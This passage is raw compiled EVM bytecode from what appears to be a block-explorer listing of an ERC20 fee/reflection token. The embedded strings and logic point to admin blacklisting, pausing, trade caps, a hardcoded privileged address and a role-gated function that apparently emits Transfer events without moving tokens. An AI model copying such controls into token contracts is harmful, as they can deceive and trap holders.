092555050565b6000600860008460028111156111e1576111e1613b02565b60028111156111f2576111f2613b02565b8152602001908152602001600020828154811061121157611211613b2e565b9060005260206000200154905092915050565b600080601054600c546112379190613a3c565b9050600060115460025461124b9190613a3c565b90506000600254600c5461125f9190613910565b905080831015611270579392505050565b600c5460105411806112855750600254601154115b15611291579392505050565b61129b8284613910565b935050505090565b6001600160a01b0381166000908152600b602052604081205462010000900460ff16156112e657506001600160a01b031660009081526020819052604090205490565b600d546001600160a01b0383166000908152600e60205260409020546109be9190613910565b600561131781612252565b6113335760405162461bcd60e51b8152600401610abe90613836565b600061133f81336121ee565b606483111561137b5760405162461bcd60e51b8152602060048201526008602482015267042e8dededaeac6d60c31b6044820152606401610abe565b5050601e55565b60009182526006602090815260408084206001600160a01b0393909316845291905290205460ff1690565b6060600480546109d390613a96565b3360009081526001602090815260408083206001600160a01b03861684529091528120548281101561143e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610abe565b610bfd33858584036120ca565b6000610bfd3384846123ed565b600061146333612a80565b90506001600160a01b0381166114bb5760405162461bcd60e51b815260206004820152601b60248201527f416363657373436f6e74726f6c3a20696e76616c696420726f6c6500000000006044820152606401610abe565b610bb08282612838565b6000600a8180610e53565b600080516020613b7e8339815191526114e981336121ee565b60006008600085600281111561150157611501613b02565b600281111561151257611512613b02565b8152602001908152602001600020838154811061153157611531613b2e565b9060005260206000200154905080600a600086600281111561155557611555613b02565b600281111561156657611566613b02565b815260200190815260200160002060008282546115839190613a3c565b9091555060089050600085600281111561159f5761159f613b02565b60028111156115b0576115b0613b02565b815260200190815260200160002083815481106115cf576115cf613b2e565b9060005260206000200160009055600960008560028111156115f3576115f3613b02565b600281111561160457611604613b02565b8152602001908152602001600020600081548092919061162390613a7f565b91905055507f67537524761f58423e2e5ae21cb620aaff13d733d9d04951bd14a0711910a03384846040516116599291906137a0565b60405180910390a150505050565b600061167381336121ee565b6001600160a01b0382166000908152600b602052604090205462010000900460ff1615156001146116e65760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c726561647920696e636c7564656400000000006044820152606401610abe565b6001600160a01b0382166000908152600b60209081526040808320805462ff000019169055908290528120546011805491929091611725908490613a3c565b90915550506001600160a01b038216600090815260208181526040808320839055600e9091528120546010805491929091611761908490613a3c565b909155506111099050601383612aae565b6001600160a01b0382166000908152600b6020526040812054610100900460ff16156117a0575060006109be565b6001600160a01b0382166000908152600b6020526040902054610100900460ff16156117ce575060016109be565b5060026109be565b60006117e281336121ee565b8160011415611814576001600160a01b0384166000908152600b60205260409020805460ff1916841515179055610add565b816002141561184b576001600160a01b0384166000908152600b60205260409020805461ff00191661010085151502179055610add565b8160031415610add576001600160a01b0384166000908152600b602052604090208054841515620100000262ff00001990911617905550505050565b600961189281612252565b6118ae5760405162461bcd60e51b8152600401610abe90613836565b60006118ba81336121ee565b50506001600160a01b03919091166000908152602460205260409020805460ff1916911515919091179055565b60008281526006602052604090206001015461190381336121ee565b610ce783836128be565b6000611917610a6c565b6008600086600281111561192d5761192d613b02565b600281111561193e5761193e613b02565b8152602001908152602001600020848154811061195d5761195d613b2e565b9060005260206000200154836119739190613a1d565b61197d9190613910565b949350505050565b600061199081612252565b6119ac5760405162461bcd60e51b8152600401610abe90613836565b60006119b881336121ee565b60008451846119c79190613910565b905060005b8551811015611a4757600d546119e29083613a1d565b600e60008884815181106119f8576119f8613b2e565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000206000828254611a2f91906138f8565b90915550819050611a3f81613ad1565b9150506119cc565b505050505050565b6000611a5b81336121ee565b506015805460ff1916911515919091179055565b600080516020613b7e833981519152611a8881336121ee565b60086000856002811115611a9e57611a9e613b02565b6002811115611aaf57611aaf613b02565b8152602080820192909252604001600090812080546001810182559082529181209091018490558390600a90866002811115611aed57611aed613b02565b6002811115611afe57611afe613b02565b81526020019081526020016000206000828254611b1b91906138f8565b90915550600990506000856002811115611b3757611b37613b02565b6002811115611b4857611b48613b02565b81526020019081526020016000206000815480929190611b6790613ad1565b9190505550611b74612925565b507f42d7180fdce9c41efa3db6f3ffc7c3c96a3e68730b9c63fa1f0b672e34a10ceb848484604051611659939291906137bb565b600080516020613b7e833981519152611bc181336121ee565b8260086000866002811115611bd857611bd8613b02565b6002811115611be957611be9613b02565b81526020019081526020016000208381548110611c0857611c08613b2e565b6000918252602082200191909155805b60086000876002811115611c2e57611c2e613b02565b6002811115611c3f57611c3f613b02565b8152602081019190915260400160002054811015611cc75760086000876002811115611c6d57611c6d613b02565b6002811115611c7e57611c7e613b02565b81526020019081526020016000208181548110611c9d57611c9d613b2e565b906000526020600020015482611cb391906138f8565b915080611cbf81613ad1565b915050611c18565b5080600a6000876002811115611cdf57611cdf613b02565b6002811115611cf057611cf0613b02565b8152602081019190915260400160002055611d09612925565b507f2df9ab6e42f0be5e726cbdc55c72a8d2ff8e9347abbea531966363f9d5e10494858585604051611d3d939291906137ea565b60405180910390a15050505050565b60008080846002811115611d6257611d62613b02565b1415611d9357611d70610a6c565b611d786114c5565b611d829085613a1d565b611d8c9190613910565b9050610c01565b6001846002811115611da757611da7613b02565b1415611dbd57611db5610a6c565b611d78610e4b565b611dc5610a6c565b611dcf6002610c82565b6119739085613a1d565b6004611de481612252565b611e005760405162461bcd60e51b8152600401610abe90613836565b6000611e0c81336121ee565b5050601680546001600160a01b0319166001600160a01b0392909216919091179055565b6003611e3b81612252565b611e575760405162461bcd60e51b8152600401610abe90613836565b6000611e6381336121ee565b5050601980546001600160a01b0319166001600160a01b0392909216919091179055565b6007611e9281612252565b611eae5760405162461bcd60e51b8152600401610abe90613836565b6000611eba81336121ee565b5050602055565b6000611ecd81336121ee565b8260ff1660011415611eef576023805462ff0000191662010000841515021790555b8260ff1660021415610ce7576023805483151563010000000263ff00000019909116179055505050565b6000610c01836001600160a01b038416612ac3565b60606000611f3d836002613a1d565b611f489060026138f8565b67ffffffffffffffff811115611f6057611f60613b44565b6040519080825280601f01601f191660200182016040528015611f8a576020820181803683370190505b509050600360fc1b81600081518110611fa557611fa5613b2e565b60200101906001600160f81b031916908160001a905350600f60fb1b81600181518110611fd457611fd4613b2e565b60200101906001600160f81b031916908160001a9053506000611ff8846002613a1d565b6120039060016138f8565b90505b600181111561207b576f181899199a1a9b1b9c1cb0b131b232b360811b85600f166010811061203757612037613b2e565b1a60f81b82828151811061204d5761204d613b2e565b60200101906001600160f81b031916908160001a90535060049490941c9361207481613a7f565b9050612006565b508315610c015760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e746044820152606401610abe565b6001600160a01b03831661212c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610abe565b6001600160a01b03821661218d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610abe565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6121f88282611382565b610bb057612210816001600160a01b03166014611f2e565b61221b836020611f2e565b60405160200161222c92919061371d565b60408051601f198184030181529082905262461bcd60e51b8252610abe91600401613823565b60ff81166000908152602660205260408120544210806109be57505060ff166000908152602660205260409020541590565b8115610bb057604080516002808252606082018352600092602083019080368337505060175482519293506001600160a01b0316918391506000906122cb576122cb613b2e565b6001600160a01b0392831660209182029290920101526018548251911690829060019081106122fc576122fc613b2e565b6001600160a01b039283166020918202929092010152601554612327913091610100900416856120ca565b601554604051635c11d79560e01b81526101009091046001600160a01b031690635c11d79590612364908690600090869088904290600401613856565b600060405180830381600087803b15801561237e57600080fd5b505af1158015612392573d6000803e3d6000fd5b50505050505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610ce7908490612b12565b60006001600160a01b0384166124535760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610abe565b6001600160a01b0383166124b55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610abe565b602354600090610100900460ff16612512576124d2600086611382565b61250d5760405162461bcd60e51b815260206004820152600c60248201526b1cdd1a5b1b081c185d5cd95960a21b6044820152606401610abe565b6127ba565b60235462010000900460ff16156125a5576001600160a01b03851660009081526024602052604090205460ff16151560011480159061256f57506001600160a01b03841660009081526024602052604090205460ff161515600114155b6125a55760405162461bcd60e51b81526020600482015260076024820152667065772070657760c81b6044820152606401610abe565b6023546301000000900460ff1680156125cc57506016546001600160a01b03858116911614155b156126fd5760215483111561260e5760405162461bcd60e51b81526020600482015260086024820152670deeccae440dac2f60c31b6044820152606401610abe565b606460225461261c60025490565b6126269190613a1d565b6126309190613910565b8361263a866112a3565b61264491906138f8565b111561267f5760405162461bcd60e51b815260206004820152600a6024820152691bdd995c881b1a5b5a5d60b21b6044820152606401610abe565b6001600160a01b0384166000908152602560205260409020546126a390601e6138f8565b4210156126e15760405162461bcd60e51b815260206004820152600c60248201526b313abc9031b7b7b63237bbb760a11b6044820152606401610abe565b6001600160a01b03841660009081526025602052604090204290555b60006127098686611772565b90506127158686610f18565b612728576127238185611d4c565b61272b565b60005b915060008061273984612be4565b91509150600d548261274b9190613a1d565b306000908152600e60205260408120805490919061276a9084906138f8565b9091555050600d5461277c9082613a1d565b600c600082825461278d9190613a3c565b90915550600190508360028111156127a7576127a7613b02565b14156127b6576127b686612c19565b5050505b60006127c68285613a3c565b90506127d486868684612cd7565b60235460ff1661282c57846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161282391815260200190565b60405180910390a35b50600195945050505050565b6128428282611382565b610bb05760008281526006602090815260408083206001600160a01b03851684529091529020805460ff1916600117905561287a3390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b6128c88282611382565b15610bb05760008281526006602090815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b60006182356129386001620186a0611d4c565b11156129985760405162461bcd60e51b815260206004820152602960248201527f455243323046656561626c653a2053656c6c2048617264636170206f6620333360448201526809481c995858da195960ba1b6064820152608401610abe565b6182356129a96000620186a0611d4c565b1115612a095760405162461bcd60e51b815260206004820152602960248201527f455243323046656561626c653a20427579202048617264636170206f6620333360448201526809481c995858da195960ba1b6064820152608401610abe565b618235612a1a6002620186a0611d4c565b1115612a7a5760405162461bcd60e51b815260206004820152602960248201527f455243323046656561626c653a204e6f726d2048617264636170206f6620333360448201526809481c995858da195960ba1b6064820152608401610abe565b50600190565b600073a4115ec246a5f6e9299928f45ef1d38d8b3afc946001600160a01b03831681146109be576000610c01565b6000610c01836001600160a01b038416613090565b6000818152600183016020526040812054612b0a575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556109be565b5060006109be565b6000612b67826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166131839092919063ffffffff16565b805190915015610ce75780806020019051810190612b8591906134b0565b610ce75760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610abe565b600080612bef610a6c565b601f54612bfc9085613a1d565b612c069190613910565b9050612c128184613a3c565b9150915091565b60155460ff168015612c2e575060235460ff16155b8015612c3e5750601a54601d5410155b15612cd4576023805460ff19166001179055601e54600090606490612c62306112a3565b612c6c9190613a1d565b612c769190613910565b90506000606460205484612c8a9190613a1d565b612c949190613910565b90506000828211612ca55781612ca7565b825b601954909150612cc19082906001600160a01b0316612284565b50506000601a55506023805460ff191690555b50565b6000612ce38585610cec565b90506001816003811115612cf957612cf9613b02565b1415612dee57600d54612d0c9084613a1d565b6001600160a01b0386166000908152600e602052604081208054909190612d34908490613a3c565b925050819055508160116000828254612d4d91906138f8565b9091555050600d54612d5f9083613a1d565b60106000828254612d7091906138f8565b90915550612d7e9050611224565b600d556001600160a01b03841660009081526020819052604081208054849290612da99084906138f8565b9091555050600d54612dbb9083613a1d565b6001600160a01b0385166000908152600e602052604081208054909190612de39084906138f8565b9091555061303d9050565b6000816003811115612e0257612e02613b02565b1415612ec3576001600160a01b03851660009081526020819052604081208054859290612e30908490613a3c565b9091555050600d54612e429084613a1d565b6001600160a01b0386166000908152600e602052604081208054909190612e6a908490613a3c565b925050819055508260116000828254612e839190613a3c565b9091555050600d54612e959084613a1d565b60106000828254612ea69190613a3c565b90915550612eb49050611224565b600d819055612dbb9083613a1d565b6002816003811115612ed757612ed7613b02565b1415612fbc576001600160a01b03851660009081526020819052604081208054859290612f05908490613a3c565b9091555050600d54612f179084613a1d565b6001600160a01b0386166000908152600e602052604081208054909190612f3f908490613a3c565b90915550506001600160a01b03841660009081526020819052604081208054849290612f6c9084906138f8565b9091555050600d54612f7e9083613a1d565b6001600160a01b0385166000908152600e602052604081208054909190612fa69084906138f8565b90915550612fb49050611224565b600d5561303d565b600d54612fc99084613a1d565b6001600160a01b0386166000908152600e602052604081208054909190612ff1908490613a3c565b9091555050600d546130039083613a1d565b6001600160a01b0385166000908152600e60205260408120805490919061302b9084906138f8565b909155506130399050611224565b600d555b7f06f9d8302f3e4076b4e7b19e6b521cc8e7d17408d3af07bd17b97847f2bf89cd858561306a8587613a3c565b604080516001600160a01b03948516815293909216602084015290820152606001611d3d565b600081815260018301602052604081205480156131795760006130b4600183613a3c565b85549091506000906130c890600190613a3c565b905081811461312d5760008660000182815481106130e8576130e8613b2e565b906000526020600020015490508087600001848154811061310b5761310b613b2e565b6000918252602080832090910192909255918252600188019052604090208390555b855486908061313e5761313e613b18565b6001900381819060005260206000200160009055905585600101600086815260200190815260200160002060009055600193505050506109be565b60009150506109be565b606061197d848460008585843b6131dc5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610abe565b600080866001600160a01b031685876040516131f89190613701565b60006040518083038185875af1925050503d8060008114613235576040519150601f19603f3d011682016040523d82523d6000602084013e61323a565b606091505b509150915061324a828286613255565b979650505050505050565b60608315613264575081610c01565b8251156132745782518084602001fd5b8160405162461bcd60e51b8152600401610abe9190613823565b80356003811061329d57600080fd5b919050565b803560ff8116811461329d57600080fd5b6000602082840312156132c557600080fd5b8135610c0181613b5a565b600080604083850312156132e357600080fd5b82356132ee81613b5a565b915060208301356132fe81613b5a565b809150509250929050565b60008060006060848603121561331e57600080fd5b833561332981613b5a565b9250602084013561333981613b5a565b929592945050506040919091013590565b6000806040838503121561335d57600080fd5b823561336881613b5a565b915060208301356132fe81613b6f565b60008060006060848603121561338d57600080fd5b833561339881613b5a565b9250602084013561333981613b6f565b600080604083850312156133bb57600080fd5b82356133c681613b5a565b946020939093013593505050565b600080604083850312156133e757600080fd5b823567ffffffffffffffff808211156133ff57600080fd5b818501915085601f83011261341357600080fd5b813560208282111561342757613427613b44565b8160051b92506134388184016138c7565b8281528181019085830185870184018b101561345357600080fd5b600096505b84871015613482578035955061346d86613b5a565b85835260019690960195918301918301613458565b509997909101359750505050505050565b6000602082840312156134a557600080fd5b8135610c0181613b6f565b6000602082840312156134c257600080fd5b8151610c0181613b6f565b6000602082840312156134df57600080fd5b5035919050565b600080604083850312156134f957600080fd5b8235915060208301356132fe81613b5a565b60006020828403121561351d57600080fd5b81356001600160e01b031981168114610c0157600080fd5b60006020828403121561354757600080fd5b610c018261328e565b6000806040838503121561356357600080fd5b6133c68361328e565b60008060006060848603121561358157600080fd5b61358a8461328e565b92506020808501359250604085013567ffffffffffffffff808211156135af57600080fd5b818701915087601f8301126135c357600080fd5b8135818111156135d5576135d5613b44565b6135e7601f8201601f191685016138c7565b915080825288848285010111156135fd57600080fd5b80848401858401376000848284010152508093505050509250925092565b60008060006060848603121561363057600080fd5b6136398461328e565b95602085013595506040909401359392505050565b60006020828403121561366057600080fd5b5051919050565b6000806040838503121561367a57600080fd5b50508035926020909101359150565b6000806040838503121561369c57600080fd5b613368836132a2565b600080604083850312156136b857600080fd5b6133c6836132a2565b600381106136d1576136d1613b02565b9052565b600081518084526136ed816020860160208601613a53565b601f01601f19169290920160200192915050565b60008251613713818460208701613a53565b9190910192915050565b7f416363657373436f6e74726f6c3a206163636f756e7420000000000000000000815260008351613755816017850160208801613a53565b7001034b99036b4b9b9b4b733903937b6329607d1b6017918401918201528351613786816028840160208801613a53565b01602801949350505050565b602081016109be82846136c1565b604081016137ae82856136c1565b8260208301529392505050565b6137c581856136c1565b8260208201526060604082015260006137e160608301846136d5565b95945050505050565b606081016137f882866136c1565b602082019390935260400152919050565b602081016004831061381d5761381d613b02565b91905290565b602081526000610c0160208301846136d5565b6020808252600690820152651ada5b1b195960d21b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156138a65784516001600160a01b031683529383019391830191600101613881565b50506001600160a01b03969096166060850152505050608001529392505050565b604051601f8201601f1916810167ffffffffffffffff811182821017156138f0576138f0613b44565b604052919050565b6000821982111561390b5761390b613aec565b500190565b60008261392d57634e487b7160e01b600052601260045260246000fd5b500490565b600181815b8085111561396d57816000190482111561395357613953613aec565b8085161561396057918102915b93841c9390800290613937565b509250929050565b6000610c01838360008261398b575060016109be565b81613998575060006109be565b81600181146139ae57600281146139b8576139d4565b60019150506109be565b60ff8411156139c9576139c9613aec565b50506001821b6109be565b5060208310610133831016604e8410600b84101617156139f7575081810a6109be565b613a018383613932565b8060001904821115613a1557613a15613aec565b029392505050565b6000816000190483118215151615613a3757613a37613aec565b500290565b600082821015613a4e57613a4e613aec565b500390565b60005b83811015613a6e578181015183820152602001613a56565b83811115610add5750506000910152565b600081613a8e57613a8e613aec565b506000190190565b600181811c90821680613aaa57607f821691505b60208210811415613acb57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415613ae557613ae5613aec565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114612cd457600080fd5b8015158114612cd457600080fdfeec552faac314c9c9510e1592ff92483ee56a9244f9364ae71f48adc6eac469efa264697066735822122010d4c223f6116e329251c986075034a29a36daab3aecd80c1dd7e6f7d393802964736f6c63430008070033ec552faac314c9c9510e1592ff92483ee56a9244f9364ae71f48adc6eac469ef
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106103d05760003560e01c80636ab1f7b4116101ff578063cea1c7f41161011a578063e3ce8bee116100ad578063eebb85431161007c578063eebb854314610941578063f0f4426014610954578063f0fa55a914610967578063ffc25ba81461097a57600080fd5b8063e3ce8bee14610900578063e7de33d914610913578063e94497e314610926578063ed9cc6831461093957600080fd5b8063d62d0079116100e9578063d62d00791461088c578063d830db3a146108a1578063dd62ed3e146108b4578063e01af92c146108ed57600080fd5b8063cea1c7f414610840578063cf7fedfc14610853578063d547741f14610866578063d62c92291461087957600080fd5b8063a457c2d711610192578063b9f5595211610161578063b9f55952146107f1578063c1133fa014610804578063c86739281461080d578063cd7a16e01461082057600080fd5b8063a457c2d7146107b0578063a9059cbb146107c3578063b2b164e1146107d6578063b4a0640e146107e957600080fd5b806391d14854116101ce57806391d148541461078557806392ad24e31461079857806395d89b41146107a0578063a217fddf146107a857600080fd5b80636ab1f7b4146107445780636de62d0c1461075757806370a082311461075f57806386ff4be61461077257600080fd5b80633040098b116102ef578063451384cc116102825780635106f4fa116102515780635106f4fa146106cb57806358749842146106d457806361d027b3146106e7578063622cd0871461071257600080fd5b8063451384cc1461067f578063474c5e3c146106925780634febf53d146106a55780635084fc3b146106b857600080fd5b80633a985381116102be5780633a985381146106335780633e57c77b1461065c5780633f4ba83a1461066457806342af760b1461066c57600080fd5b80633040098b146105d8578063313ce567146105f857806336568abe1461060d578063395093511461062057600080fd5b806316114acd1161036757806323c697ad1161033657806323c697ad1461057c578063248a9ca31461058f57806329c70488146105b25780632f2ff15d146105c557600080fd5b806316114acd146104b357806318160ddd146104c65780631e9c2aaa146104ce57806323b872dd1461056957600080fd5b80630a273b8c116103a35780630a273b8c1461043b5780630da2c5f014610462578063148405bf1461047757806314c42278146104a057600080fd5b806301ffc9a7146103d557806306fdde03146103fd578063095ea7b31461041257806309843efa14610425575b600080fd5b6103e86103e336600461350b565b61098d565b60405190151581526020015b60405180910390f35b6104056109c4565b6040516103f49190613823565b6103e86104203660046133a8565b610a56565b61042d610a6c565b6040519081526020016103f4565b61042d7f95ade357382b18d10e6f713f539e8e3e349f779b240104f9b5629a7c44f207e281565b610475610470366004613667565b610a82565b005b61042d6104853660046132b3565b6001600160a01b03166000908152600e602052604090205490565b6104756104ae3660046134e6565b610a97565b6104756104c13660046132b3565b610ae3565b60025461042d565b6105416104dc3660046132b3565b6040805160608082018352600080835260208084018290529284018190526001600160a01b03949094168452600b825292829020825193840183525460ff80821615158552610100820481161515928501929092526201000090041615159082015290565b60408051825115158152602080840151151590820152918101511515908201526060016103f4565b6103e8610577366004613309565b610bb4565b61047561058a366004613309565b610c08565b61042d61059d3660046134cd565b60009081526006602052604090206001015490565b61042d6105c0366004613535565b610c82565b6104756105d33660046134e6565b610cc1565b6105eb6105e63660046132d0565b610cec565b6040516103f49190613809565b60055460405160ff90911681526020016103f4565b61047561061b3660046134e6565b610d9a565b6103e861062e3660046133a8565b610e14565b61042d6106413660046132b3565b6001600160a01b031660009081526012602052604090205490565b61042d610e4b565b610475610eb3565b61047561067a3660046134cd565b610ede565b6103e861068d3660046132d0565b610f18565b6104756106a03660046134cd565b610f5b565b6104756106b33660046132b3565b610fc2565b6104756106c63660046134cd565b611119565b61042d60105481565b6104756106e23660046136a5565b611198565b6019546106fa906001600160a01b031681565b6040516001600160a01b0390911681526020016103f4565b6103e86107203660046132b3565b6001600160a01b03166000908152600b602052604090205462010000900460ff1690565b61042d610752366004613550565b6111c9565b61042d611224565b61042d61076d3660046132b3565b6112a3565b6104756107803660046134cd565b61130c565b6103e86107933660046134e6565b611382565b600f5461042d565b6104056113ad565b61042d600081565b6103e86107be3660046133a8565b6113bc565b6103e86107d13660046133a8565b61144b565b6104756107e43660046134cd565b611458565b61042d6114c5565b6104756107ff366004613550565b6114d0565b61042d60115481565b61047561081b3660046132b3565b611667565b61083361082e3660046132d0565b611772565b6040516103f49190613792565b61047561084e366004613378565b6117d6565b61047561086136600461334a565b611887565b6104756108743660046134e6565b6118e7565b61042d61088736600461361b565b61190d565b61042d600080516020613b7e83398151915281565b6104756108af3660046133d4565b611985565b61042d6108c23660046132d0565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6104756108fb366004613493565b611a4f565b61047561090e36600461356c565b611a6f565b61047561092136600461361b565b611ba8565b61042d610934366004613550565b611d4c565b600c5461042d565b61047561094f3660046132b3565b611dd9565b6104756109623660046132b3565b611e30565b6104756109753660046134cd565b611e87565b610475610988366004613689565b611ec1565b60006001600160e01b03198216637965db0b60e01b14806109be57506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600380546109d390613a96565b80601f01602080910402602001604051908101604052809291908181526020018280546109ff90613a96565b8015610a4c5780601f10610a2157610100808354040283529160200191610a4c565b820191906000526020600020905b815481529060010190602001808311610a2f57829003601f168201915b5050505050905090565b6000610a633384846120ca565b50600192915050565b6000600754600a610a7d9190613975565b905090565b6000610a8e81336121ee565b50602255602155565b6001610aa281612252565b610ac75760405162461bcd60e51b8152600401610abe90613836565b60405180910390fd5b6000610ad381336121ee565b610add8484612284565b50505050565b7f95ade357382b18d10e6f713f539e8e3e349f779b240104f9b5629a7c44f207e2610b0e81336121ee565b306001600160a01b0383161415610b2457600080fd5b610bb0336040516370a0823160e01b81523060048201526001600160a01b038516906370a082319060240160206040518083038186803b158015610b6757600080fd5b505afa158015610b7b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b9f919061364e565b6001600160a01b038516919061239b565b5050565b6000610bc18484846123ed565b506001600160a01b038416600090815260016020908152604080832033808552925290912054610bfd918691610bf8908690613a3c565b6120ca565b5060015b9392505050565b6008610c1381612252565b610c2f5760405162461bcd60e51b8152600401610abe90613836565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c7491815260200190565b60405180910390a350505050565b6000600a6000836002811115610c9a57610c9a613b02565b6002811115610cab57610cab613b02565b8152602001908152602001600020549050919050565b600082815260066020526040902060010154610cdd81336121ee565b610ce78383612838565b505050565b6001600160a01b038083166000908152600b6020526040808220549284168252812054909160ff6201000091829004811692919091041681158015610d2f575080155b15610d3f576003925050506109be565b818015610d4a575080155b15610d5a576000925050506109be565b81158015610d655750805b15610d75576001925050506109be565b818015610d7f5750805b15610d8f576002925050506109be565b6003925050506109be565b6001600160a01b0381163314610e0a5760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201526e103937b632b9903337b91039b2b63360891b6064820152608401610abe565b610bb082826128be565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610a63918590610bf89086906138f8565b6000600a8160015b6002811115610e6457610e64613b02565b815260200190815260200160002054600a6000600280811115610e8957610e89613b02565b6002811115610e9a57610e9a613b02565b815260200190815260200160002054610a7d91906138f8565b6000610ebf81336121ee565b506023805461ff0019166101001790556015805460ff19166001179055565b6002610ee981612252565b610f055760405162461bcd60e51b8152600401610abe90613836565b6000610f1181336121ee565b5050601d55565b6001600160a01b0382166000908152600b602052604081205460ff1680610c015750506001600160a01b03166000908152600b602052604090205460ff16919050565b600080516020613b7e833981519152610f7481336121ee565b81610fb55760405162461bcd60e51b8152602060048201526011602482015270063616e277420646976696465206279203607c1b6044820152606401610abe565b6007829055610ce7612925565b6000610fce81336121ee565b6001600160a01b0382166000908152600b602052604090205462010000900460ff161561103d5760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610abe565b6001600160a01b0382166000908152600b60209081526040808320805462ff0000191662010000179055600e909152902054156110fe57600d546001600160a01b0383166000908152600e602052604090205461109a9190613910565b6001600160a01b0383166000908152602081905260408120829055601180549091906110c79084906138f8565b90915550506001600160a01b0382166000908152600e602052604081205460108054919290916110f89084906138f8565b90915550505b611109601383611f19565b50611112611224565b600d555050565b600661112481612252565b6111405760405162461bcd60e51b8152600401610abe90613836565b600061114c81336121ee565b60648311156111915760405162461bcd60e51b8152602060048201526011602482015270063616e277420676f206f7665722031303607c1b6044820152606401610abe565b5050601f55565b60006111a481336121ee565b6111ae42836138f8565b60ff9093166000908152602660205260409020929092555050565b6000600860008460028111156111e1576111e1613b02565b60028111156111f2576111f2613b02565b8152602001908152602001600020828154811061121157611211613b2e565b9060005260206000200154905092915050565b600080601054600c546112379190613a3c565b9050600060115460025461124b9190613a3c565b90506000600254600c5461125f9190613910565b905080831015611270579392505050565b600c5460105411806112855750600254601154115b15611291579392505050565b61129b8284613910565b935050505090565b6001600160a01b0381166000908152600b602052604081205462010000900460ff16156112e657506001600160a01b031660009081526020819052604090205490565b600d546001600160a01b0383166000908152600e60205260409020546109be9190613910565b600561131781612252565b6113335760405162461bcd60e51b8152600401610abe90613836565b600061133f81336121ee565b606483111561137b5760405162461bcd60e51b8152602060048201526008602482015267042e8dededaeac6d60c31b6044820152606401610abe565b5050601e55565b60009182526006602090815260408084206001600160a01b0393909316845291905290205460ff1690565b6060600480546109d390613a96565b3360009081526001602090815260408083206001600160a01b03861684529091528120548281101561143e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610abe565b610bfd33858584036120ca565b6000610bfd3384846123ed565b600061146333612a80565b90506001600160a01b0381166114bb5760405162461bcd60e51b815260206004820152601b60248201527f416363657373436f6e74726f6c3a20696e76616c696420726f6c6500000000006044820152606401610abe565b610bb08282612838565b6000600a8180610e53565b600080516020613b7e8339815191526114e981336121ee565b60006008600085600281111561150157611501613b02565b600281111561151257611512613b02565b8152602001908152602001600020838154811061153157611531613b2e565b9060005260206000200154905080600a600086600281111561155557611555613b02565b600281111561156657611566613b02565b815260200190815260200160002060008282546115839190613a3c565b9091555060089050600085600281111561159f5761159f613b02565b60028111156115b0576115b0613b02565b815260200190815260200160002083815481106115cf576115cf613b2e565b9060005260206000200160009055600960008560028111156115f3576115f3613b02565b600281111561160457611604613b02565b8152602001908152602001600020600081548092919061162390613a7f565b91905055507f67537524761f58423e2e5ae21cb620aaff13d733d9d04951bd14a0711910a03384846040516116599291906137a0565b60405180910390a150505050565b600061167381336121ee565b6001600160a01b0382166000908152600b602052604090205462010000900460ff1615156001146116e65760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c726561647920696e636c7564656400000000006044820152606401610abe565b6001600160a01b0382166000908152600b60209081526040808320805462ff000019169055908290528120546011805491929091611725908490613a3c565b90915550506001600160a01b038216600090815260208181526040808320839055600e9091528120546010805491929091611761908490613a3c565b909155506111099050601383612aae565b6001600160a01b0382166000908152600b6020526040812054610100900460ff16156117a0575060006109be565b6001600160a01b0382166000908152600b6020526040902054610100900460ff16156117ce575060016109be565b5060026109be565b60006117e281336121ee565b8160011415611814576001600160a01b0384166000908152600b60205260409020805460ff191684